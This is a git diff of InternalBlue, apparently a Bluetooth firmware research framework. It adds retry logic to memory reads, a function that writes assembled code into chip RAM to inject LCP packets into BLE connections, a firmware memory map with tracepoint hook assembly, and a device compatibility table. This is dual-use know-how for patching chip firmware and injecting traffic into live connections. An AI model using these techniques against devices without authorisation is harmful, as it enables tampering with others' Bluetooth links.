retry = True # Retry once on failures retry = 3 # Retry on failures
while(read_addr < address+length): # Send HCI Read_RAM commands until all data is received while read_addr < address+length: # Send HCI Read_RAM commands until all data is received
# Send hci frame # Send hci frame
bytes_left = length - byte_counter bytes_left = length - byte_counter
blocksize = bytes_left blocksize = bytes_left
@@ -757,17 +775,27 @@ class InternalBlue:
# Send Read_RAM (0xfc4d) command # Send Read_RAM (0xfc4d) command
response = self.sendHciCommand(0xfc4d, p32(read_addr) + p8(blocksize)) response = self.sendHciCommand(0xfc4d, p32(read_addr) + p8(blocksize))
if (response == None or response == False): if response is None or not response:
log.warning("readMem: No response to readRAM HCI command! (read_addr=%x, len=%x)" % (read_addr, length)) log.warn("readMem: No response to readRAM HCI command! (read_addr=%x, len=%x)" % (read_addr, length))
# Retry once... # Retry once...
if retry: if retry > 0:
log.debug("readMem: retrying once...") log.debug("readMem: retrying once...")
retry = False retry = retry - 1
continue continue
else: else:
log.warning("readMem: failed!") log.warning("readMem: failed!")
return None return None
data = response[4:] # start of the actual data is at offset 4
if len(data) == 0: # this happens i.e. if not called on a brcm chip
log.warn("readMem: empty response, quitting...")
break
if len(data) != blocksize:
log.debug("readMem: insufficient bytes returned, retrying...")
continue
status = ord(response[3]) status = ord(response[3])
if status != 0: if status != 0:
# It is not yet reverse engineered what this byte means. For almost # It is not yet reverse engineered what this byte means. For almost
@@ -776,21 +804,26 @@ class InternalBlue:
# 0x00 (0) means everything okay # 0x00 (0) means everything okay
# 0x12 means Command Disallowed # 0x12 means Command Disallowed
# e.g. for address 0xff000000 (aka 'EEPROM') it is 0x12 # e.g. for address 0xff000000 (aka 'EEPROM') it is 0x12
log.warning("readMem: [TODO] Got status != 0 : error 0x%02X" % status) log.warn("readMem: [TODO] Got status != 0 : error 0x%02X at address 0x%08x" % (status, read_addr))
data = response[4:] # start of the actual data is at offset 4
outbuffer += data
if (len(data) == 0): #this happens i.e. if not called on a brcm chip
log.warn("readMem: empty response, quitting...")
break break
# do double checking, but prevent loop
if self.doublecheck and retry > 0:
response_check = self.sendHciCommand(0xfc4d, p32(read_addr) + p8(blocksize))
if response != response_check:
log.debug("readMem: double checking response failed at 0x%x! retry..." % read_addr)
sleep(0.3)
retry = retry - 1
continue
outbuffer += data
read_addr += len(data) read_addr += len(data)
byte_counter += len(data) byte_counter += len(data)
if(progress_log != None): if(progress_log != None):
msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter, msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter,
bytes_total, (bytes_done+byte_counter)*100/bytes_total) bytes_total, (bytes_done+byte_counter)*100/bytes_total)
progress_log.status(msg) progress_log.status(msg)
retry = True # this round worked, so we re-enable this flag retry = 3 # this round worked, so we re-enable retries
return outbuffer return outbuffer
def readMemAligned(self, address, length, progress_log=None, bytes_done=0, bytes_total=0): def readMemAligned(self, address, length, progress_log=None, bytes_done=0, bytes_total=0):
@@ -861,8 +894,12 @@ class InternalBlue:
# Run snippet # Run snippet
if not self.launchRam(self.fw.READ_MEM_ALIGNED_ASM_LOCATION): if not self.launchRam(self.fw.READ_MEM_ALIGNED_ASM_LOCATION):
log.error("readMemAligned: launching assembler snippet failed!") # on iOSCore the return value might be wrong
return None if self.doublecheck:
log.debug("readMemAligned: probably failed, but continuing...")
else:
log.error("readMemAligned: launching assembler snippet failed!")
return None
# wait for the custom HCI event sent by the snippet: # wait for the custom HCI event sent by the snippet:
try: try:
@@ -876,7 +913,7 @@ class InternalBlue:
outbuffer += data outbuffer += data
read_addr += len(data) read_addr += len(data)
byte_counter += len(data) byte_counter += len(data)
if(progress_log != None): if progress_log is not None:
msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter, msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter,
bytes_total, (bytes_done+byte_counter)*100/bytes_total) bytes_total, (bytes_done+byte_counter)*100/bytes_total)
progress_log.status(msg) progress_log.status(msg)
@@ -933,19 +970,18 @@ class InternalBlue:
As the function blocks the HCI handler thread, the chip will most likely As the function blocks the HCI handler thread, the chip will most likely
crash (or be resetted by Android) if the function takes too long. crash (or be resetted by Android) if the function takes too long.
""" """
response = self.sendHciCommand(0xfc4e, p32(address)) response = self.sendHciCommand(0xfc4e, p32(address))
if (response == None): if response is None:
log.warn("Empty HCI response during launchRam, driver crashed due to invalid code or destination") log.warn("Empty HCI response during launchRam, driver crashed due to invalid code or destination")
return False return False
if(response[3] != '\x00'): if response[3] != '\x00':
log.warn("Got error code %x in command complete event." % response[3]) log.warn("Got error code %x in command complete event." % u8(response[3]))
return False return False
# Nexus 6P Bugfix # Nexus 6P Bugfix
if ('LAUNCH_RAM_PAUSE' in dir(self.fw) and self.fw.LAUNCH_RAM_PAUSE): if 'LAUNCH_RAM_PAUSE' in dir(self.fw) and self.fw.LAUNCH_RAM_PAUSE:
log.debug("launchRam: Bugfix, sleeping %ds" % self.fw.LAUNCH_RAM_PAUSE) log.debug("launchRam: Bugfix, sleeping %ds" % self.fw.LAUNCH_RAM_PAUSE)
time.sleep(self.fw.LAUNCH_RAM_PAUSE) time.sleep(self.fw.LAUNCH_RAM_PAUSE)
@@ -1046,7 +1082,7 @@ class InternalBlue:
slot = i slot = i
log.info("patchRom: Reusing slot for address 0x%x: %d" % (address,slot)) log.info("patchRom: Reusing slot for address 0x%x: %d" % (address,slot))
# Write new value to patchram value table at 0xd0000 # Write new value to patchram value table at 0xd0000
self.writeMem(0xd0000 + slot*4, patch) self.writeMem(self.fw.PATCHRAM_VALUE_TABLE_ADDRESS + slot*4, patch)
return True return True
if slot == None: if slot == None:
@@ -1098,7 +1134,7 @@ class InternalBlue:
if address == None: if address == None:
log.warn("disableRomPatch: address is None.") log.warn("disableRomPatch: address is None.")
return False return False
for i in range(128): for i in range(self.fw.PATCHRAM_NUMBER_OF_SLOTS):
if table_addresses[i] == address: if table_addresses[i] == address:
slot = i slot = i
log.info("Slot for address 0x%x is: %d" % (address,slot)) log.info("Slot for address 0x%x is: %d" % (address,slot))
@@ -1327,6 +1363,42 @@ class InternalBlue:
log.warn("sendLmpPacket: launchRam failed!") log.warn("sendLmpPacket: launchRam failed!")
return False return False
def sendLcpPacket(self, conn_idx, payload):
"""
Inject a LCP packet into a Bluetooth LE connection (i.e. send a LCP packet
to a remote device which is paired and connected with our local device).
This is code requires assembly patches.
conn_idx: The connection index specifying the connection into which the
packet will be injected, starting at 0.
payload: The LCP opcode and payload of the LCP packet that will be injected.
Returns True on success and False on failure.
"""
# Check if constants are defined in fw.py
for const in ['SENDLCP_CODE_BASE_ADDRESS', 'SENDLCP_ASM_CODE']:
if const not in dir(self.fw):
log.warn("sendLcpPacket: '%s' not in fw.py. FEATURE NOT SUPPORTED!" % const)
return False
# Prepare the assembler snippet by injecting the connection number
# and appending the LMP packet data.
asm_code = self.fw.SENDLCP_ASM_CODE % (conn_idx, len(payload))
asm_code_with_data = asm_code + ''.join([".byte 0x%02x\n" % ord(x)
for x in payload.ljust(20, "\x00")])
# Assemble the snippet and write it to SENDLCP_CODE_BASE_ADDRESS
code = asm(asm_code_with_data, vma=self.fw.SENDLCP_CODE_BASE_ADDRESS, arch='thumb')
self.writeMem(self.fw.SENDLCP_CODE_BASE_ADDRESS, code)
# Invoke the snippet
if self.launchRam(self.fw.SENDLCP_CODE_BASE_ADDRESS):
return True
else:
log.warn("sendLcpPacket: launchRam failed!")
return False
def connectToRemoteDevice(self, bt_addr): def connectToRemoteDevice(self, bt_addr):
""" """
Send a HCI Connect Command to the firmware. This will setup Send a HCI Connect Command to the firmware. This will setup
@@ -1406,6 +1478,7 @@ class InternalBlue:
""" """
Coexistence Callback Function Coexistence Callback Function
Interprets debug counters for coexistence with WiFi/LTE Interprets debug counters for coexistence with WiFi/LTE
Call with "sendhcicmd 0xfc90"
""" """
hcipkt = record[0] # get HCI Event packet hcipkt = record[0] # get HCI Event packet
@@ -1419,129 +1492,12 @@ class InternalBlue:
if u16(hcipkt.data[1:3]) == 0xfc90: # Coex Statistics Cmd if u16(hcipkt.data[1:3]) == 0xfc90: # Coex Statistics Cmd
coex_grant = u32(hcipkt.data[4:8]) coex_grant = u32(hcipkt.data[4:8])
coex_reject= u32(hcipkt.data[8:12]) coex_reject= u32(hcipkt.data[8:12])
log.info("[Coexistence Statistics: Grant=%d Reject=%d -> Reject Ratio %.4f]" % (coex_grant, coex_reject, coex_reject/float(coex_grant))) ratio = 0
if coex_grant > 0:
ratio = coex_reject/float(coex_grant)
log.info("[Coexistence Statistics: Grant=%d Reject=%d -> Reject Ratio %.4f]" % (coex_grant, coex_reject, ratio))
return return
def lereceiveStatusCallback(self, record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
# Only do something when we have the correct firmware
if not self.fw:
return
raspi = False
eval = False
if self.fw.FW_NAME == "BCM43430A1":
raspi = True
elif self.fw.FW_NAME == "CYW27035B1":
eval = True
else:
return
if self.fw and hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
if len(data) < 239:
return
if raspi:
packet_curr_nesn_sn = u8(data[0xa0])
elif eval:
packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = u8(data[0x83])
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = u8(data[0])
# When looking at the NESN and the SN bit, we check for TX and RX errors
# if self.last_nesn_sn and ((self.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) !=0b1100:
# log.info(" ^----------------------------- ERROR --------------------------------")
# When looking only at the NESN bit, we check for TX errors -> this is the thing we want in our EWSN paper
if self.last_nesn_sn and ((self.last_nesn_sn ^ packet_curr_nesn_sn) & 0b0100) !=0b0100:
pdr_current = 0
else:
pdr_current = 1
self.pdr_values[packet_channel].appendleft(pdr_current)
pdr_avg = sum(self.pdr_values[packet_channel]) / float(len(self.pdr_values[packet_channel]))
# log.info("%s event: %5d, channel: %2d, channel_map: 0x%010x, PDR: %d, PDR_avg: %f" % (self.last_event_timestamp, self.last_event_ctr, self.last_channel, self.last_channel_map, pdr_current, pdr_avg))
self.pdr_logfile.write("%s event: %5d, channel: %2d, channel_map: 0x%010x, PDR: 1\r\n" % (self.last_event_timestamp, self.last_event_ctr, self.last_channel, self.last_channel_map))
self.pdr_logfile.flush()
if pdr_avg < self.PDR_THRESHOLD:
active_channels = bin(self.last_channel_map).count('1')
if active_channels <= self.CHAN_COUNT_THRESHOLD:
# log.info('to few channels active -> whiteliste all')
self.pdr_logfile.write('to few channels active -> whiteliste all')
self.pdr_logfile.flush()
self.sendHciCommand(0x2014, '\xff\xff\xff\xff\xf1', timeout=0)
else:
self.pdr_logfile.write("going to BLACKLIST channel %2d, %2d channels active" % (self.last_channel, active_channels))
new_channel_map = self.last_channel_map & (0x1fffffffff ^ (0b1 << self.last_channel))
self.pdr_logfile.write("current_channel_map: 0x%010x, new map: 0x%010x" % (self.last_channel_map, new_channel_map))
self.pdr_logfile.flush()
new_channel_map_bytes = []
for i in range (0, 5):
new_channel_map_bytes.append(chr(new_channel_map >> (i * 8) & 0xff))
self.sendHciCommand(0x2014, ''.join(new_channel_map_bytes), timeout=0)
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.info(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
self.last_nesn_sn = packet_curr_nesn_sn
# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <=37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
# channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel]) # Use the flipped representation of the channel map to be consistent in my code
channel_map |= (0b1 << u8(packet_channel_map[channel]))
# log.debug("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
# (packet_rssi & 0x7f) - (128*(packet_rssi >>7)), color, ' '*packet_channel))
# Store the following information for the next connection event, because we will know only by then, if the event was successful
self.last_event_ctr = packet_event_ctr
self.last_channel = packet_channel
self.last_channel_map = channel_map
self.last_event_timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
if self.fw and hcipkt.data[0:4] == "LEPR":
data = hcipkt.data[4:]
self.last_success_event = u16(data[0x8e:0x90])
def readHeapInformation(self): def readHeapInformation(self):
""" """
Traverses the double-linked list of BLOC structs and returns them as a Traverses the double-linked list of BLOC structs and returns them as a
@@ -1717,5 +1673,11 @@ class InternalBlue:
custom Bluetooth driver is required, which accepts diagnostic commands custom Bluetooth driver is required, which accepts diagnostic commands
and also forwards diagnostic message outputs to the BT Snoop Log. and also forwards diagnostic message outputs to the BT Snoop Log.
""" """
self.sendH4(hci.HCI.BCM_DIAG, '\xf0' + p8(enable)) if not self.serial:
self.sendH4(hci.HCI.BCM_DIAG, '\xf0' + p8(enable))
# We can send the activation to the serial, but then the Android driver
# itself crashes when receiving diagnostic frames...
else:
log.warn("Diagnostic protocol requires modified Android driver!")
+36 -75
View File
@@ -9,49 +9,65 @@ Results are based on real world testing, this list is very incomplete. If you kn
Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
-------| ------- | ---------- | ----------- | ------- | ---------- -------| ------- | ---------- | ----------- | ------- | ----------
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4 0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4, Nexus One, iPod touch (A1367)
0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009 0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009
0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011 0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420 0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
0x000f | 0x05 | 0x610d | | iPad A1395 0x000f | 0x05 | 0x610d | | iPad A1395
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle 0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278) 0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s 0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
0x000f | 0x06 | 0x4196 | BCM20702B0 | MacBook Pro mid 2014, iMac (Retina 5k, 27", ultimo 2014) 0x000f | 0x06 | 0x410d | | BlackBerry Q5
0x000f | 0x06 | 0x4196 | BCM20702B0 | MacBook Pro mid 2014, iMac (Retina 5k, 27", ultimo 2014), MacBook Air 2017 13"
0x000f | 0x06 | 0x6109 | | Samsung Galaxy Note 10.1 2014 WiFi (SM-P600)
0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ 0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ
0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s 0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014 0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014
0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5 0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429) 0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
0x000f | 0x07 | 0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815), Samsung Galaxy Note 10.1 2014 WiFi (SM-P600) | Dec 11 2012 0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8 | Aug 19 2014 0x000f | 0x07 | 0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815) | Dec 11 2012
0x0131 | 0x08 | 0x1200 | | Philips Sonicare (Cypress SoC CY8C4247LQI-BL483, not sure if compatible)
0x000f | 0x08 | 0x21a1 | | MacBook Pro Retina 13" early 2015 0x000f | 0x08 | 0x21a1 | | MacBook Pro Retina 13" early 2015
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015 0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix) 0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic 0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015 0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016 0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix) 0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix) | Oct 22 2015
0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017 0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017, iMac 2017 Retina 5k | Oct 22 2015
0x000f | 0x08 | 0x224c | BCM20703A2 | MacBook Pro 15" 2017 (A1707) | Oct 22 2015
0x000f | 0x08 | 0x240f | BCM4358A3 | Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge | Oct 23 2014 0x000f | 0x08 | 0x240f | BCM4358A3 | Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge | Oct 23 2014
0x000f | 0x08 | 0x4109 | BCM4345 | iPhone 6 0x000f | 0x08 | 0x4109 | BCM4345B0 | iPhone 6 (Tempranillo) | Jul 15 2013
0x000f | 0x08 | 0x430a | | iPad Pro 2016 (MLMW2FD/A) 0x000f | 0x08 | 0x430a | | iPad Pro 2016 (MLMW2FD/A)
0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 (A1778) | Sep 14 2015 0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 A1778 (Elsa) | Sep 14 2015
0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7 0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7, Huawei P20
0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12"), MacBook Pro (13", 2016) 0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016) | May 28 2013
0x000f | 0x08 | 0x6206 | | iPhone SE 0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8, Xperia X | Aug 19 2014
0x000f | 0x08 | 0x6206 | BCM4345C1 | iPhone SE (Hans), iPod Touch 7th Generation (MVJ72FD/A) | Jan 27 2015
0x000f | 0x09 | 0x102f | BCM4355 | MacBook Air 2019 13" Retina | Mar 7 2017
0x000f | 0x09 | 0x112e | BCM4364B0 | iMac Retina 4K 21.5"/27" 2019 macOS Mojave 10.14.6 | Aug 21 2015
0x000f | 0x09 | 0x112f | BCM4364B0 | MacBook Pro 2019 13" 4x Thunderbold | Aug 21 2015
0x000f | 0x09 | 0x103f | BCM4364 | iMac Pro 2017 0x000f | 0x09 | 0x103f | BCM4364 | iMac Pro 2017
0x000f | 0x09 | 0x2023 | BCM4377B3 | MacBook Pro 2019 13" 2x Thunderbold (Formosa) | Feb 28 2018
0x000f | 0x09 | 0x203f | BCM4364 | MacBook Pro (13", 2018) 0x000f | 0x09 | 0x203f | BCM4364 | MacBook Pro (13", 2018)
0x000f | 0x09 | 0x2040 | | Apple Watch Series 3 0x000f | 0x09 | 0x2040 | | Apple Watch Series 3
0x0131 | 0x09 | 0x4208 | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018 0x000f | 0x09 | 0x2043 | BCM4346B0 | MacBook Pro 2019 15"
0x0131 | 0x09 | 0x220c | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016 0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016
0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018 0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+ (local version is 0x1111) | April 13 2018 0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x420e | | iPhone XR, iPhone X 0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017 0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
0x000f | 0x09 | 0x4307 | | iPhone XS, iPhone Xs Max 0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9+ 0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 4 with Bluetooth 5 patches, same ROM as 3+ | Aug 19 2014 0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
@@ -73,6 +89,7 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
* CYW20735B1 * CYW20735B1
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events. * `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`. A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
Firmware Version and Build Date Firmware Version and Build Date
------------------------------- -------------------------------
@@ -84,62 +101,6 @@ On newer chips, the build information is located in the beginning of the stack.
hd 0x200400 hd 0x200400
Firmware Related Setup
----------------------
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
**1. Setup as HCI device**
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
btattach -B /dev/ttyUSB0 -S 3000000
If this does not work directly, use:
stty -F /dev/ttyUSB0 3000000
btattach -B /dev/ttyUSB0
**2. Use with BlueZ**
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
hciconfig hci1 up
You can list your HCI devices:
hcitool dev
**3. Command line tools for connections**
Scanning for devices:
hcitool scan
hcitool lescan
Connections and pairing:
bluetoothctl
Enter into `bluetoothctl` command prompt:
power on
agent on
default-agent
scan on
Optional - accept connections:
advertise on
pairable on
discoverable on
Do a pairing and then connect:
pair aa:bb:cc:dd:ee:ff
connect aa:bb:cc:dd:ee:ff
+9 -3
View File
@@ -27,7 +27,7 @@ from pwn import log
class Firmware: class Firmware:
def __init__(self, version=None): def __init__(self, version=None, iOS=False):
""" """
Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc. Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
@@ -41,9 +41,15 @@ class Firmware:
# get LMP Subversion # get LMP Subversion
log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" % log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" %
(version, version >> 13, (version & 0xf00) >> 8, version & 0xff)) (version, version >> 13, (version & 0xf00) >> 8, version & 0xff))
try: try:
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=['']) # Fix for duplicate version number of evaluation board / iPhones
log.info("Using fw_" + hex(version) + ".py") if iOS and version==0x420e:
self.firmware = __import__(__name__ + '_' + hex(version) + '_iphone', fromlist=[''])
log.info("Using fw_" + hex(version) + "_iphone.py")
else:
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=[''])
log.info("Using fw_" + hex(version) + ".py")
except ImportError: except ImportError:
self.firmware = None self.firmware = None
pass pass
+157
View File
@@ -0,0 +1,157 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Samsung S10/S10e/S10+
FW_NAME = "BCM4375B1"
# Device Infos
DEVICE_NAME = 0x207f2a
BD_ADDR = 0x2026e2
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x0013ffff, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017ffff, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037ffff, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
BLOC_HEAD = 0x20075c
BLOC_NG = True
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
# Assembly of the original function from an eval board does not work...
#TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
#TRACEPOINT_HOOKS_LOCATION = 0x00218500
#TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
b delete_slot
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
